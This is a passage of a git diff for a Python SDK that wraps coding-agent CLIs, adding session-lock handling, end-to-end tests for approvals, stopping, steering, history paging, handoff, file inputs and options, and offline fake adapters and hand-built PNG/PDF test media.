self._workspace.exists(directory) + async def holders(self) -> dict[str, int | None]: + """Every conversation with a live holder, and its pid, in one pass.""" + out = await self._run("holders", stale_after=STALE_AFTER) + return { + str(sid): pid if isinstance(pid, int) else None + for sid, pid in (out or {}).items() + } - async def _live(self, holder: Holder) -> bool: - if holder.pid is None: - return (time.time() - holder.since) < STALE_AFTER - probe = await self._workspace.exec( - ["python3", "-c", _LIVENESS, str(holder.pid)], timeout=30 + async def _run(self, op: str, **args: Any) -> Any: + result = await self._workspace.exec( + ["python3", "-c", HELPER, op, await self.root(), json.dumps(args)], + timeout=30, ) - return probe.exit_code == 0 + if result.exit_code != 0: + raise errors.HarnessError( + f"the session lock could not {op} in the workspace " + f"(exit {result.exit_code}): " + + (result.stderr.strip()[-300:] or "no output") + + ". Harnesses need python3 where the CLI runs." + ) + return json.loads(result.stdout.strip().splitlines()[-1]) diff --git a/tests/harnesses/experimental/conftest.py b/tests/harnesses/experimental/conftest.py index 0c84699d..62f40947 100644 --- a/tests/harnesses/experimental/conftest.py +++ b/tests/harnesses/experimental/conftest.py @@ -39,7 +39,10 @@ HARNESS_CLI = {"claude": "claude", "codex": "codex"} -SPECS = {"claude": claude_code, "codex": codex} +SPECS: dict[str, Callable[..., Harness]] = { + "claude": claude_code, + "codex": codex, +} def _cli_missing(kind: str) -> bool: @@ -196,19 +199,9 @@ async def _make( ) -> AsyncIterator[Harness]: """`writable=True` means "this test needs the agent to change files". - The harnesses spell authority differently — Claude gates per call, - Codex picks a sandbox mode — so the translation lives here rather - than in every test. A test that hardcoded `sandbox=` would silently - become a Codex-only test. + Every harness has full access by default, so it needs no + translation any more; it stays as documentation of the test's intent. """ - # Codex picks a mode only on your own machine: in a sandbox its own - # sandbox cannot start, and the default already lets it write. - if ( - writable - and harness_kind == "codex" - and workspace.owner != "provider" - ): - options.setdefault("sandbox", "workspace-write") async with SPECS[harness_kind]( workspace=workspace, **options ) as harness: @@ -221,18 +214,12 @@ async def _make( def any_make_harness( harness_kind: str, any_workspace: Workspace ) -> Callable[..., Any]: - """`make_harness`, over both locations. Same translation of `writable`.""" + """`make_harness`, over both locations.""" @asynccontextmanager async def _make( *, writable: bool = False, **options: Any ) -> AsyncIterator[Harness]: - if ( - writable - and harness_kind == "codex" - and any_workspace.owner != "provider" - ): - options.setdefault("sandbox", "workspace-write") async with SPECS[harness_kind]( workspace=any_workspace, **options ) as harness: diff --git a/tests/harnesses/experimental/e2e/test_approval.py b/tests/harnesses/experimental/e2e/test_approval.py index 9af5f656..449d8365 100644 --- a/tests/harnesses/experimental/e2e/test_approval.py +++ b/tests/harnesses/experimental/e2e/test_approval.py @@ -189,8 +189,37 @@ async def approve(ctx: ApprovalContext) -> Decision: assert result.finish_reason == "cancelled" # And promptly. This passed at 121.77s: the interrupt was awaited before # the approval was answered, which codex will not process, so the - # decline waited out a 120s RPC timeout. Right outcome, two minutes late. - assert took < 60, f"Deny(stop=True) took {took:.0f}s to end the turn" + # decline waited out a 120s RPC timeout. Then it passed at ~30s: the + # interrupt was sent from the JSON-RPC reader itself, which could not + # read its reply until the call timed out. Right outcome, late each time. + assert took < 20, f"Deny(stop=True) took {took:.0f}s to end the turn" + + +async def test_hook_can_ask_the_harness_while_it_decides( + any_make_harness: Callable[..., Any], +) -> None: + """A hook that reads the stored conversation to decide. On codex that is + a call over the same connection the approval arrived on, which waited + for the hook to finish: a deadlock until `approval_timeout`.""" + opened: list[Any] = [] + asked: list[int] = [] + + async def approve(ctx: ApprovalContext) -> Decision: + asked.append(len(await opened[0].sessions())) + return Allow() + + async with any_make_harness( + approve=approve, writable=True, approval_timeout=60 + ) as harness: + opened.append(harness) + requires(harness, "approve") + async with asyncio.timeout(120): + result = await harness.run( + "Write the word HI into hi.txt, then reply with exactly: DONE" + ) + assert await harness.workspace.exists("hi.txt") + assert asked, "the write went through the hook" + assert result.approval_errors == [] async def test_hook_can_use_the_workspace_to_decide( @@ -310,15 +339,14 @@ async def approve(ctx: ApprovalContext) -> Decision: assert probed and all(found == [] for found in probed) -async def test_a_gate_is_not_an_audit_log( +async def test_what_the_hook_sees_matches_what_is_claimed( any_make_harness: Callable[..., Any], any_workspace: Workspace ) -> None: - """A hook sees what the any_harness asks about — not everything that runs. + """`capabilities.approval` says which calls reach the hook. - Claude never routes read-only tools through its permission callback, so - a Read can happen without the hook hearing about it. The EVENT STREAM - sees it. Anyone treating approvals as an audit trail would be wrong, and - `capabilities.approval == "policy"` is the SDK saying so out loud. + "all" (claude): every call that ran, a Read included. "policy" (codex): + only what the CLI's own policy asks about, so never MORE than ran — the + event stream is the audit log there, not the hook. """ from ai.types.events import ToolStart @@ -330,15 +358,18 @@ async def approve(ctx: ApprovalContext) -> Decision: async with any_make_harness(approve=approve) as any_harness: requires(any_harness, "approve") - assert any_harness.capabilities.approval == "policy" + coverage = any_harness.capabilities.approval session = any_harness.session() turn = session.stream("Read util.py and reply with the function name.") streamed = [e.tool_name async for e in turn if isinstance(e, ToolStart)] - assert len(seen_by_hook) <= len(streamed), ( - "the hook can never see MORE calls than actually ran; approvals are " - + "a subset of what the event stream observes, never a superset" - ) + if coverage == "all": + assert streamed and sorted(seen_by_hook) == sorted(streamed) + else: + assert coverage == "policy" + assert len(seen_by_hook) <= len( + streamed + ), "the hook can never see MORE calls than actually ran" @requires_claude diff --git a/tests/harnesses/experimental/e2e/test_capabilities.py b/tests/harnesses/experimental/e2e/test_capabilities.py index 64ce7263..960af724 100644 --- a/tests/harnesses/experimental/e2e/test_capabilities.py +++ b/tests/harnesses/experimental/e2e/test_capabilities.py @@ -75,13 +75,30 @@ async def approve(ctx: ApprovalContext) -> Decision: await harness.run("Write the word ORIGINAL into rewritten.txt.") -async def test_no_harness_claims_to_offer_every_tool_call( - harness: Harness, +async def test_a_harness_claiming_every_call_shows_its_hook_every_call( + make_harness: Callable[..., Any], ) -> None: - """Neither harness routes read-only tools through its approval channel, - so neither may advertise "all". Claiming it would be the old lie in new - clothes: a caller would believe a gate covers calls it never sees.""" - assert harness.capabilities.approval != "all" + """`approval="all"` is a promise: every call that runs reached the hook, + read-only ones included. Claimed without it, it would be the old lie in + new clothes: a caller would believe a gate covers calls it never sees.""" + from ai.types.events import ToolStart + + seen: list[str] = [] + + async def approve(ctx: ApprovalContext) -> Decision: + seen.append(ctx.call.id) + return Allow() + + async with make_harness(approve=approve) as harness: + if harness.capabilities.approval != "all": + pytest.skip(f"{harness.name} does not claim every call") + turn = harness.session().stream( + "Read util.py with your file-reading tool and reply with the " + + "function name." + ) + ran = [e.tool_call_id async for e in turn if isinstance(e, ToolStart)] + assert ran, "the prompt is meant to make the agent read a file" + assert set(ran) <= set(seen), "a call ran that the hook never saw" async def test_capabilities_do_not_change_after_open(harness: Harness) -> None: diff --git a/tests/harnesses/experimental/e2e/test_control.py b/tests/harnesses/experimental/e2e/test_control.py index 6e437bc5..51e1ddf3 100644 --- a/tests/harnesses/experimental/e2e/test_control.py +++ b/tests/harnesses/experimental/e2e/test_control.py @@ -14,9 +14,9 @@ import pytest from ai.harnesses.experimental import Allow, Harness -from ai.types.events import TextDelta, ToolStart +from ai.types.events import StreamEnd, TextDelta, ToolStart from ai.workspaces.experimental import Workspace -from tests.harnesses.experimental.conftest import requires +from tests.harnesses.experimental.conftest import exact, requires async def allow_everything(ctx: Any) -> Allow: @@ -168,3 +168,84 @@ async def test_external_cancellation_still_propagates( "Write the numbers 1 through 2000 separated by newlines, " + "typing them out yourself. Output nothing else." ) + + +COUNT = ( + "Write the numbers 1 through 2000 separated by newlines, typing them " + + "out yourself. Output nothing else." +) + + +async def test_stop_from_another_task_settles_the_turn( + any_harness: Harness, +) -> None: + """A Stop button: the task reading the turn is not the one stopping it.""" + requires(any_harness, "stop") + session = any_harness.session() + turn = session.stream(COUNT) + said = asyncio.Event() + + async def read() -> None: + async for event in turn: + if isinstance(event, TextDelta): + said.set() + + reader = asyncio.create_task(read()) + await asyncio.wait_for(said.wait(), 120) + await session.stop() + assert turn.settled, "stop() returns once the turn has settled" + assert turn.result.cancelled + await asyncio.wait_for(reader, 30) + exact((await session.run("Reply with exactly: OK")).text, "OK") + + +async def test_walking_away_from_a_turn_does_not_leak_into_the_next( + any_harness: Harness, +) -> None: + """`break` ends the agent's turn too; the next answer is the next one.""" + session = any_harness.session() + async for event in session.stream(COUNT): + if isinstance(event, TextDelta) and event.chunk.strip(): + break + result = await session.run("Reply with exactly: OK") + exact(result.text, "OK") + assert not result.cancelled + + +async def test_a_late_steer_is_refused_and_turns_stay_in_step( + any_harness: Harness, +) -> None: + """A steer once the agent has finished is not guidance but a new turn + nobody reads; measured on claude, every later answer was one behind.""" + requires(any_harness, "steer") + session = any_harness.session() + turn = session.stream("Reply with exactly: ONE") + async for event in turn: + if isinstance(event, StreamEnd): + with pytest.raises(RuntimeError, match="no active turn"): + await session.steer("Reply with exactly: LATE") + exact(turn.result.text, "ONE") + exact((await session.run("Reply with exactly: TWO")).text, "TWO") + exact((await session.run("Reply with exactly: THREE")).text, "THREE") + + +async def test_a_steered_turn_leaves_later_turns_in_step( + any_make_harness: Callable[..., Any], +) -> None: + async with any_make_harness( + approve=allow_everything, writable=True + ) as any_harness: + requires(any_harness, "steer") + session = any_harness.session() + turn = session.stream( + "Create a.txt, b.txt and c.txt one at a time, each containing its " + + "own name. Then reply DONE." + ) + steered = False + async for event in turn: + if isinstance(event, ToolStart) and not steered: + await session.steer("Also create zebra.txt containing ZEBRA.") + steered = True + assert steered + exact((await session.run("Reply with exactly: ALPHA")).text, "ALPHA") + exact((await session.run("Reply with exactly: BETA")).text, "BETA") diff --git a/tests/harnesses/experimental/e2e/test_handoff.py b/tests/harnesses/experimental/e2e/test_handoff.py index 800d1226..bcd43393 100644 --- a/tests/harnesses/experimental/e2e/test_handoff.py +++ b/tests/harnesses/experimental/e2e/test_handoff.py @@ -15,7 +15,13 @@ from ai.harnesses.experimental import Harness from ai.types.events import ToolEnd -from ai.types.messages import Message, ReasoningPart, TextPart, ToolCallPart +from ai.types.messages import ( + Message, + ReasoningPart, + TextPart, + ToolCallPart, + ToolResultPart, +) from ai.workspaces.experimental import Local, Workspace from tests.harnesses.experimental.conftest import SPECS, exact @@ -27,17 +33,10 @@ async def _source_history( kind: str, project: Path, prompt: str ) -> list[Message]: - """A real conversation on THIS machine, read back as messages. - - Codex may write here: in its default read-only mode it declines a write - without attempting one, and the history would carry no action at all. - """ - options: dict[str, Any] = ( - {"sandbox": "workspace-write"} if kind == "codex" else {} - ) + """A real conversation on THIS machine, read back as messages.""" async with ( Local(project) as ws, - SPECS[kind](workspace=ws, **options) as harness, + SPECS[kind](workspace=ws) as harness, ): session = harness.session() await session.run(prompt) @@ -227,5 +226,48 @@ async def test_reasoning_travels_where_the_destination_allows_it( assert "1 reasoning part" in str(warned[0].message) +async def test_a_tool_turn_result_hands_off_as_is( + harness_kind: str, project: Path +) -> None: + """`history=result.messages` from a turn that used a tool, into the other + harness: the transcript reads call, then result, so it is accepted.""" + async with ( + Local(project) as ws, + SPECS[harness_kind](workspace=ws) as source, + ): + session = source.session() + result = await session.run( + "Use a tool to write the word OTTER into animal.txt, then reply " + + "with exactly: DONE" + ) + stored = await source.history(session.session_id) + # Live and stored tell the turn's tool use in the same order: each call, + # then its result. + assert _tool_order(result.messages), "the prompt is meant to use a tool" + assert _tool_order(result.messages) == _tool_order(stored) + + other = OTHER[harness_kind] + async with ( + Local(project) as ws, + SPECS[other](workspace=ws) as destination, + ): + answer = await destination.run( + "Which word did you write into animal.txt? Reply with the word " + + "only.", + history=result.messages, + ) + exact(answer.text, "OTTER") + + +def _tool_order(messages: list[Message]) -> list[tuple[str, str]]: + """Every tool call and result, in transcript order, by call id.""" + return [ + (p.kind, p.tool_call_id) + for m in messages + for p in m.parts + if isinstance(p, ToolCallPart | ToolResultPart) + ] + + def _text(m: Message) -> str: return "".join(p.text for p in m.parts if isinstance(p, TextPart)) diff --git a/tests/harnesses/experimental/e2e/test_history.py b/tests/harnesses/experimental/e2e/test_history.py index 666be348..93d42811 100644 --- a/tests/harnesses/experimental/e2e/test_history.py +++ b/tests/harnesses/experimental/e2e/test_history.py @@ -180,3 +180,60 @@ def shape(ms: list[Message]) -> list[tuple[str, str]]: assert shape(first_two) == shape(everything[:2]) assert shape(next_two) == shape(everything[2:4]) assert shape(first_two) != shape(next_two) + + +async def test_pages_count_messages_when_tools_were_used( + any_harness: Harness, +) -> None: + """`limit`/`offset` count the MESSAGES `history()` returns, whatever the + store keeps underneath: a stored tool turn becomes an assistant message + and a tool message, and a page must not land between them by accident + of a different count.""" + session = any_harness.session() + await session.run( + "Use a tool to write the word ONE into one.txt, then reply DONE." + ) + await session.run("Reply with exactly: TWO") + everything = await any_harness.history(session.session_id) + assert any(m.role == "tool" for m in everything) + + def shape(ms: list[Message]) -> list[tuple[str, list[str]]]: + return [(m.role, [p.kind for p in m.parts]) for m in ms] + + for offset in range(len(everything)): + page = await any_harness.history( + session.session_id, limit=2, offset=offset + ) + assert shape(page) == shape(everything[offset : offset + 2]), offset + + +async def test_a_loaded_conversation_streams_like_a_new_one( + any_make_harness: Callable[..., Any], +) -> None: + """No separate "follow" API: load a conversation with `resume()`, and its + past is `session.messages`; stream on it exactly as on a new session, + and the new turn lands after that past, in order.""" + from ai.types.events import TextDelta + + async with any_make_harness() as first: + original = first.session() + await original.run( + "Use a tool to write PLUM into fruit.txt, then reply DONE." + ) + sid = original.session_id + async with any_make_harness() as second: + session = await second.resume(sid) + past = session.messages + stored = await second.history(sid) + assert [m.role for m in past] == [m.role for m in stored] + turn = session.stream( + "Which fruit did you write? Reply with the word only." + ) + chunks = [e.chunk async for e in turn if isinstance(e, TextDelta)] + assert "PLUM" in "".join(chunks).upper() + messages = turn.result.messages + assert [m.role for m in messages[: len(past)]] == [m.role for m in past] + assert [m.role for m in messages[len(past) :]] == [ + "user", + "assistant", + ] diff --git a/tests/harnesses/experimental/e2e/test_input.py b/tests/harnesses/experimental/e2e/test_input.py new file mode 100644 index 00000000..f41ea805 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_input.py @@ -0,0 +1,61 @@ +"""Prompts with files, on every harness at every location.""" + +from __future__ import annotations + +import pytest + +from ai.harnesses.experimental import Harness +from ai.harnesses.experimental.errors import UnsupportedError +from ai.types import messages as m +from tests.harnesses.experimental import media +from tests.harnesses.experimental.conftest import exact + +pytestmark = pytest.mark.live + + +async def test_an_image_in_the_prompt_is_seen(any_harness: Harness) -> None: + session = any_harness.session() + result = await session.run( + [ + "What colour fills this image? Reply with one word.", + m.FilePart(data=media.png((220, 20, 20)), media_type="image/png"), + ] + ) + assert "red" in result.text.lower(), result.text + # The stored conversation keeps the image, as a file. + history = await any_harness.history(session.session_id) + first = next(msg for msg in history if msg.role == "user") + assert any( + isinstance(p, m.FilePart) and p.media_type.startswith("image/") + for p in first.parts + ), first.parts + + +async def test_a_pdf_where_the_harness_takes_documents( + any_harness: Harness, +) -> None: + prompt: list[str | m.FilePart] = [ + "Which word is written in this PDF? Reply with the word only.", + m.FilePart(data=media.pdf("PINEAPPLE"), media_type="application/pdf"), + ] + if not any_harness.capabilities.documents: + with pytest.raises(UnsupportedError, match="application/pdf"): + await any_harness.run(prompt) + return + exact((await any_harness.run(prompt)).text, "PINEAPPLE") + + +async def test_a_text_file_is_read_on_every_harness( + any_harness: Harness, +) -> None: + result = await any_harness.run( + [ + "What is the password in this file? Reply with the word only.", + m.FilePart( + data=b"The password is OSPREY.\n", + media_type="text/plain", + filename="notes.txt", + ), + ] + ) + exact(result.text, "OSPREY") diff --git a/tests/harnesses/experimental/e2e/test_options.py b/tests/harnesses/experimental/e2e/test_options.py new file mode 100644 index 00000000..ad58d034 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_options.py @@ -0,0 +1,76 @@ +"""The day-to-day options, on every harness at every location.""" + +from __future__ import annotations + +from collections.abc import Callable +from typing import Any + +import pytest + +from ai.harnesses.experimental.errors import UnsupportedError +from ai.workspaces.experimental import Workspace +from tests.harnesses.experimental import media +from tests.harnesses.experimental.conftest import exact + +pytestmark = pytest.mark.live + + +async def test_instructions_shape_every_reply( + any_make_harness: Callable[..., Any], +) -> None: + async with any_make_harness( + instructions="End every reply with the single word KIWI." + ) as harness: + result = await harness.run("Say hello in three words.") + assert ( + result.text.strip().rstrip(".!").upper().endswith("KIWI") + ), result.text + + +async def test_an_mcp_server_gives_the_agent_a_tool( + any_make_harness: Callable[..., Any], any_workspace: Workspace +) -> None: + await any_workspace.write_text("mcp_secret.py", media.MCP_SERVER) + server = { + "command": "python3", + "args": [f"{any_workspace.path}/mcp_secret.py"], + } + async with any_make_harness(mcp_servers={"secret": server}) as harness: + result = await harness.run( + "Call the secret_word tool from the `secret` MCP server and reply " + + "with exactly the word it returns." + ) + exact(result.text, "MANGO") + + +async def test_tools_limits_what_claude_can_do( + harness_kind: str, + any_make_harness: Callable[..., Any], + any_workspace: Workspace, +) -> None: + if harness_kind != "claude": + with pytest.raises(UnsupportedError, match="tools"): + async with any_make_harness(tools=["Read"]): + pass + return + async with any_make_harness(tools=["Read"]) as harness: + await harness.run( + "Write the word NOPE into nope.txt. If you cannot, reply CANNOT." + ) + assert not await any_workspace.exists("nope.txt") + + +async def test_max_turns_caps_a_claude_turn( + harness_kind: str, any_make_harness: Callable[..., Any] +) -> None: + if harness_kind != "claude": + with pytest.raises(UnsupportedError, match="max_turns"): + async with any_make_harness(max_turns=1): + pass + return + async with any_make_harness(max_turns=1) as harness: + result = await harness.run( + "Create a.txt, then b.txt, then c.txt, one tool call each, then " + + "reply DONE." + ) + assert result.finish_reason == "length" diff --git a/tests/harnesses/experimental/e2e/test_run.py b/tests/harnesses/experimental/e2e/test_run.py index 4ea3d266..7dcc86e0 100644 --- a/tests/harnesses/experimental/e2e/test_run.py +++ b/tests/harnesses/experimental/e2e/test_run.py @@ -9,7 +9,7 @@ from pydantic import BaseModel from ai.harnesses.experimental import Harness -from ai.types.messages import Message, TextPart, ToolCallPart +from ai.types.messages import Message, TextPart, ToolCallPart, ToolResultPart from tests.harnesses.experimental.conftest import exact pytestmark = pytest.mark.live @@ -160,21 +160,29 @@ async def test_text_is_the_final_message_not_the_narration( + "Then reply with exactly: DONE" ) - final = result.messages[-1] + turn = result.messages[1:] # everything after the prompt assert any( - isinstance(p, ToolCallPart) for p in final.parts + isinstance(p, ToolCallPart) for m in turn for p in m.parts ), "the prompt is meant to make the agent use a tool" assert result.text.strip() == "DONE", result.text # The invariant, stated directly: nothing said BEFORE the last tool call # is in `.text`. Whether that narration is kept in the transcript is the - # any_harness's business — claude keeps it, codex labels it `commentary` - # and the adapter drops it — and `.text` must be the same either way. + # any_harness's business, and `.text` must be the same either way. + parts = [p for m in turn if m.role == "assistant" for p in m.parts] last_call = max( - i for i, p in enumerate(final.parts) if isinstance(p, ToolCallPart) + i for i, p in enumerate(parts) if isinstance(p, ToolCallPart) ) - for narration in final.parts[:last_call]: + for narration in parts[:last_call]: if isinstance(narration, TextPart) and narration.text.strip(): assert narration.text.strip() not in result.text, narration.text + # And the transcript reads in order: every result after its call. + called: set[str] = set() + for m in turn: + for p in m.parts: + if isinstance(p, ToolCallPart): + called.add(p.tool_call_id) + elif isinstance(p, ToolResultPart): + assert p.tool_call_id in called, "a result before its call" @pytest.mark.parametrize("effort", ["low", "max"]) @@ -189,3 +197,12 @@ async def test_effort_is_accepted_on_both_harnesses( exact(result.text, "READY") assert result.finish_reason == "stop" assert session.handle.options["effort"] == effort + + +async def test_every_harness_can_write_by_default(any_harness: Harness) -> None: + """Full access unless restricted, on every harness and location: a + program drives it, and nobody is there to widen a narrow default.""" + await any_harness.run( + "Write the word WRITTEN into default.txt, then reply DONE." + ) + assert "WRITTEN" in await any_harness.workspace.read_text("default.txt") diff --git a/tests/harnesses/experimental/fakes.py b/tests/harnesses/experimental/fakes.py new file mode 100644 index 00000000..ec2f0a37 --- /dev/null +++ b/tests/harnesses/experimental/fakes.py @@ -0,0 +1,342 @@ +"""Offline doubles for the harness core: an adapter, a process, a workspace. + +The e2e suite drives real CLIs. These drive the SESSION state machine and +the JSON-RPC peer without one, so ordering, cancellation and concurrency +bugs show up in milliseconds, not in a sandbox an hour later. +""" + +from __future__ import annotations + +import asyncio +import itertools +import json +from collections.abc import AsyncIterator, Awaitable, Callable +from pathlib import Path +from typing import Any, cast + +from ai.harnesses.experimental import _capabilities, _harness +from ai.types import events +from ai.types import messages as m +from ai.workspaces.experimental import Local, _base + + +class Pause: + """A point in a scripted turn where the fake adapter waits. + + `reached` is set when the turn gets there; the turn goes on once + `release` is set, or ends as interrupted when the adapter is stopped. + """ + + def __init__(self) -> None: + self.reached = asyncio.Event() + self.release = asyncio.Event() + + +class Run: + """Run a callable at this point of a scripted turn (e.g. a steer).""" + + def __init__(self, fn: Callable[[], Awaitable[None]]) -> None: + self.fn = fn + + +Step = events.AgentEvent | Pause | Run + + +def text(chunk: str, block: str = "t") -> list[Step]: + return [ + events.TextStart(block_id=block), + events.TextDelta(block_id=block, chunk=chunk), + events.TextEnd(block_id=block), + ] + + +def tool( + call_id: str, name: str = "Bash", args: str = "{}", result: Any = "ok" +) -> list[Step]: + call = m.ToolCallPart(tool_call_id=call_id, tool_name=name, tool_args=args) + part = m.ToolResultPart(tool_call_id=call_id, tool_name=name, result=result) + return [ + events.ToolStart(tool_call_id=call_id, tool_name=name), + events.ToolDelta(tool_call_id=call_id, chunk=args), + events.ToolEnd(tool_call_id=call_id, tool_call=call), + events.ToolCallResult( + message=m.Message(role="tool", parts=[part]), results=[part] + ), + ] + + +def reply(*chunks: str) -> list[Step]: + """A whole plain-text turn, the way an adapter ends one.""" + steps: list[Step] = [events.StreamStart()] + for i, chunk in enumerate(chunks): + steps += text(chunk, block=f"t{i}") + return steps + + +class FakeAdapter: + """A scripted `base.Adapter`. + + `script(prompt)` returns the steps of the turn for that prompt; the + default echoes the prompt. Like the real adapters, the turn ends with a + `StreamEnd` whose message carries every part the turn produced — unless + the script ends it early (stopped, or raising). + """ + + kind = "fake" + + def __init__( + self, + script: Callable[[str], list[Step]] | None = None, + *, + capabilities: _capabilities.Capabilities | None = None, + honors_stop: bool = True, + ) -> None: + self.script = script or reply + self.capabilities = capabilities or _capabilities.Capabilities( + steer=True, + stop=True, + resume=True, + fork=True, + history=True, + images=True, + documents=True, + ) + self.honors_stop = honors_stop + self.version: str | None = "fake 1.0" + self.verified_version: str | None = None + self.process_ids: list[int] = [] + self.approve: Any = None + self.approval_timeout = 300.0 + self.on_approval_error: Any = None + self.live_history: Any = lambda session_id: [] + self.stops: list[str] = [] + self.steers: list[tuple[str, str]] = [] + self.closed_sessions: list[str] = [] + self.turns_started: list[str] = [] + self.prompts: list[list[Any]] = [] + self.turns_finalized: list[str] = [] + self._stopped: dict[str, asyncio.Event] = {} + self._ids = itertools.count(1) + + async def start(self, workspace: Any, options: dict[str, Any]) -> None: + pass + + async def close(self) -> None: + pass + + async def detach(self) -> None: + pass + + async def new_session(self, history: list[m.Message] | None = None) -> str: + return f"s{next(self._ids)}" + + async def close_session(self, session_id: str) -> None: + self.closed_sessions.append(session_id) + + async def stop(self, session_id: str) -> None: + self.stops.append(session_id) + self._stopped.setdefault(session_id, asyncio.Event()).set() + + async def steer(self, session_id: str, text: str) -> None: + self.steers.append((session_id, text)) + + async def turn( + self, session_id: str, given: list[Any] + ) -> AsyncIterator[events.AgentEvent]: + self.prompts.append(given) + prompt = "\n\n".join(p.text for p in given if isinstance(p, m.TextPart)) + self.turns_started.append(prompt) + stopped = self._stopped[session_id] = asyncio.Event() + parts: list[Any] = [] + try: + for step in self.script(prompt): + if isinstance(step, Pause): + step.reached.set() + if not self.honors_stop: + await step.release.wait() + continue + release = asyncio.ensure_future(step.release.wait()) + stop = asyncio.ensure_future(stopped.wait()) + try: + await asyncio.wait( + {release, stop}, + return_when=asyncio.FIRST_COMPLETED, + ) + finally: + release.cancel() + stop.cancel() + if stopped.is_set(): + yield events.StreamEnd( + message=m.Message(role="assistant", parts=parts), + finish_reason="cancelled", + ) + return + continue + if isinstance(step, Run): + await step.fn() + continue + if isinstance(step, events.TextDelta): + parts.append(m.TextPart(text=step.chunk)) + elif isinstance(step, events.ToolEnd): + parts.append(step.tool_call) + elif isinstance(step, events.StreamEnd): + yield step + return + yield step + yield events.StreamEnd( + message=m.Message(role="assistant", parts=parts), + finish_reason="stop", + ) + finally: + self.turns_finalized.append(prompt) + + +class FakeWorkspace(_base.Workspace): + """Just enough workspace for a Harness: nothing runs anywhere.""" + + kind = "local" + duplex_spawn = True + + def __init__(self) -> None: + self.env: dict[str, str] = {} + + @property + def path(self) -> str: + return "/fake" + + @property + def coords(self) -> _base.WorkspaceCoords: + return _base.WorkspaceCoords(provider="local", location=self.path) + + async def open(self) -> None: + pass + + async def close(self) -> None: + pass + + async def spawn(self, argv: Any, *, env: Any = None) -> Any: + raise NotImplementedError + + async def exec( + self, argv: Any, *, env: Any = None, timeout: float | None = None + ) -> _base.ExecResult: + raise NotImplementedError + + async def pty(self, argv: Any, **kwargs: Any) -> Any: + raise NotImplementedError + + async def attach(self, name: str) -> Any: + raise NotImplementedError + + async def ptys(self) -> list[Any]: + return [] + + async def read_text(self, path: str) -> str: + raise FileNotFoundError(path) + + async def write_text(self, path: str, data: str) -> None: + raise NotImplementedError + + async def read_bytes(self, path: str) -> bytes: + raise FileNotFoundError(path) + + async def exists(self, path: str) -> bool: + return False + + async def _copy_in(self, *args: Any, **kwargs: Any) -> int: + raise NotImplementedError + + async def _copy_out(self, *args: Any, **kwargs: Any) -> int: + raise NotImplementedError + + async def reachable_url(self, port: int) -> str: + raise NotImplementedError + + +async def open_harness( + adapter: FakeAdapter | None = None, **options: Any +) -> tuple[_harness.Harness, FakeAdapter]: + adapter = adapter or FakeAdapter() + harness = _harness.Harness( + cast("Any", adapter), + workspace=FakeWorkspace(), + **options, + ) + await harness.open() + return harness, adapter + + +class FakeProcess: + """In-memory duplex stdio for `JsonRpcPeer`. + + `answer(message)` is called for every message the client writes — + requests, notifications, and its responses to server requests. For a + request, a non-None return is sent back as the result. `server_says()` + pushes a line from the "server": a notification or a request. + """ + + def __init__( + self, answer: Callable[[dict[str, Any]], Any] | None = None + ) -> None: + self._lines: asyncio.Queue[str] = asyncio.Queue() + self.answer = answer or (lambda message: {}) + self.written: list[dict[str, Any]] = [] + self.pid: int | None = None + + def server_says(self, message: dict[str, Any]) -> None: + self._lines.put_nowait(json.dumps(message) + "\n") + + async def write(self, data: str) -> None: + message = json.loads(data) + self.written.append(message) + result = self.answer(message) + if "method" in message and "id" in message and result is not None: + self.server_says({"id": message["id"], "result": result}) + + async def readline(self) -> str: + return await self._lines.get() + + async def read_stderr(self) -> str: + return "" + + async def terminate(self) -> None: + self._lines.put_nowait("") + + async def kill(self) -> None: + self._lines.put_nowait("") + + async def os_pid(self) -> int | None: + return self.pid + + async def detach(self) -> None: + pass + + async def wait(self) -> int | None: + return 0 + + +class LockWorkspace(Local): + """A real local workspace whose HOME is a temp dir, so lock files never + touch the user's own home. `before_exec` runs ahead of every command — + the place to inject an interleaving.""" + + def __init__(self, root: Path) -> None: + super().__init__(root) + self._home = root / "home" + self._home.mkdir(parents=True, exist_ok=True) + self.before_exec: Callable[[list[str]], Awaitable[None]] | None = None + self.execs: list[list[str]] = [] + self.reads: list[str] = [] + + async def home(self) -> str: + return str(self._home) + + async def exec(self, argv: Any, **kwargs: Any) -> Any: + self.execs.append(list(argv)) + if self.before_exec is not None: + await self.before_exec(list(argv)) + return await super().exec(argv, **kwargs) + + async def read_text(self, path: str) -> str: + self.reads.append(path) + return await super().read_text(path) diff --git a/tests/harnesses/experimental/media.py b/tests/harnesses/experimental/media.py new file mode 100644 index 00000000..758aedb7 --- /dev/null +++ b/tests/harnesses/experimental/media.py @@ -0,0 +1,84 @@ +"""Tiny test media built by hand: a solid-colour PNG and a one-line PDF.""" + +from __future__ import annotations + +import struct +import zlib + + +def png(rgb: tuple[int, int, int] = (220, 20, 20), size: int = 64) -> bytes: + raw = b"".join(b"\x00" + bytes(rgb) * size for _ in range(size)) + + def chunk(kind: bytes, body: bytes) -> bytes: + crc = zlib.crc32(kind + body) & 0xFFFFFFFF + return ( + struct.pack(">I", len(body)) + kind + body + struct.pack(">I", crc) + ) + + header = struct.pack(">IIBBBBB", size, size, 8, 2, 0, 0, 0) + return ( + b"\x89PNG\r\n\x1a\n" + + chunk(b"IHDR", header) + + chunk(b"IDAT", zlib.compress(raw)) + + chunk(b"IEND", b"") + ) + + +def pdf(text: str = "PINEAPPLE") -> bytes: + stream = f"BT /F1 36 Tf 72 700 Td ({text}) Tj ET".encode() + objects = [ + b"<< /Type /Catalog /Pages 2 0 R >>", + b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", + b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] " + b"/Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>", + b"<< /Length %d >>\nstream\n" % len(stream) + stream + b"\nendstream", + b"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>", + ] + out = b"%PDF-1.4\n" + offsets = [] + for number, body in enumerate(objects, 1): + offsets.append(len(out)) + out += b"%d 0 obj\n" % number + body + b"\nendobj\n" + xref = len(out) + out += b"xref\n0 %d\n0000000000 65535 f \n" % (len(objects) + 1) + out += b"".join(b"%010d 00000 n \n" % o for o in offsets) + out += b"trailer\n<< /Size %d /Root 1 0 R >>\n" % (len(objects) + 1) + out += b"startxref\n%d\n%%%%EOF\n" % xref + return out + + +MCP_SERVER = r""" +import json, sys + +def send(message): + sys.stdout.write(json.dumps(message) + "\n") + sys.stdout.flush() + +for line in sys.stdin: + request = json.loads(line) + method, rid = 